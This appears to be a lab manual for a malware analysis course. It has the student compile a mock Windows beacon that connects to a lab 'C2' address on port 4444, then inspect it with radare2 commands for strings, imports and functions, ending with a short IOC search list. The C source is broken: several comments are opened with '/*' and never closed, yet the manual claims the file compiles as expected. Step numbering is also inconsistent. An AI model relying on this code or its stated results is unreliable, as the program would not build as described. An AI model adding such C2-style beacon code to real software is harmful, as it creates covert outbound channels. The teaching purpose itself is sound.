Part A:

Experiment No 2 : Perform a detailed static analysis of the binary to uncover hidden strings, imports, or embedded resources that can give clues about the malware's purpose or communication methods.

Tool: Radare2

Aim: Static malware analysis involves examining the contents and structure of an executable without running it, in order to understand its behavior and intent. By analyzing strings, imports, and program logic, analysts can often identify malware functionality such as persistence, network communication, or data exfiltration.

PART A: Creating sample.exe in Ubuntu VM

Step 1: Install Required Packages (Ubuntu VM)

sudo apt update

sudo apt install mingw-w64 wine

This installs:

- MinGW-w64 → to compile .exe
- Wine → to execute .exe

Step 2: Create Working Directory

mkdir malware_lab

cd malware_lab

Step 3: Create Source Code File

vi sample.c

```
#include <winsock2.h>
#include <windows.h>
int main() {
    WSADATA wsa; /* it stores the information about winsock version
    SOCKET sock;
    struct sockaddr_in server;
    char message[] = "beacon:system_online";
    WSAStartup(MAKEWORD(2,2), &wsa);  /* Initializes winsock library
    sock = socket(AF_INET, SOCK_STREAM, 0);  /* Creates a TCP socket and it is used for Backdoors, C2 channels
    // Fake C2 server (Metasploitable 2 IP)
    server.sin_addr.s_addr = inet_addr("192.168.56.101"); /* Converts ip address from string to binary format
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    connect(sock, (struct sockaddr *)&server, sizeof(server));
    send(sock, message, sizeof(message), 0);
    closesocket(sock);
    WSACleanup();
```

```
    return 0;
}
```

Save and exit.

Step 4: Compile Windows Executable in Ubuntu

```
x86_64-w64-mingw32-gcc sample.c -o sample.exe -lws2_32
```

Step 5: Verify Executable

```
file sample.exe
```

Expected output:

PE32+ executable (console) x86-64, for MS Windows

✔ Confirms successful creation of sample.exe

PART B: Initial Inspection Using Radare2

Step 3: Launch Radare2

Before installing radare2

```
sudo apt install snapd
sudo snap install radare2  --classic
radare2.r2 sample.exe
```

You will see the Radare2 prompt:

```
[0x00000000]>
```

Step 4: View Binary Information

i

What this shows

- File type (PE)
- Architecture (x86_64)
- Entry point

Why it matters

- Confirms platform
- Helps select correct analysis approach

Step 5: Detailed Binary Metadata

ij

Provides:

- JSON-formatted metadata
- Compiler hints
- OS target

PART C: String Analysis (Hidden Indicators)

Step 6: Extract All Strings

iz

What this reveals

- Hardcoded text inside the binary
- IP addresses
- Debug messages
- File paths

Step 7: Filter Interesting Strings

izz~beacon

This helps quickly locate:

- ascii beacon:sH

PART D: Import Table Analysis (API Calls)

Step 8: List Imported Functions

ii

What this shows

- WSACleanup, WSAStartup

Step 9: Focus on Network APIs

ii~WSA

ii~connect

ii~send

PART E: Entry Point and Code Flow Analysis

Step 10: Identify Entry Point

ie

Shows:

- Address where execution begins

Step 11: Perform Full Analysis

aaa

What aaa does

- Analyzes functions
- Builds control flow graph
- Identifies symbols

Step 12: List Functions

afl

Shows:

- main
- Runtime startup functions
    -

PART F: Embedded Resources (If Any)

Step 15: Check for Embedded Resources

iiR

Result

- No embedded icons or extra payloads

Indicates:

- Simple loader-style malware
- Single-stage binary

Quick IOC hunting list

aaa

izz~http

izz~exe

izz~cmd

izz~powershell

ii

RESULT

Hidden strings, suspicious imports, and network-related API calls were successfully extracted using Radare2, revealing that the binary is designed to establish outbound network communication with a hardcoded server.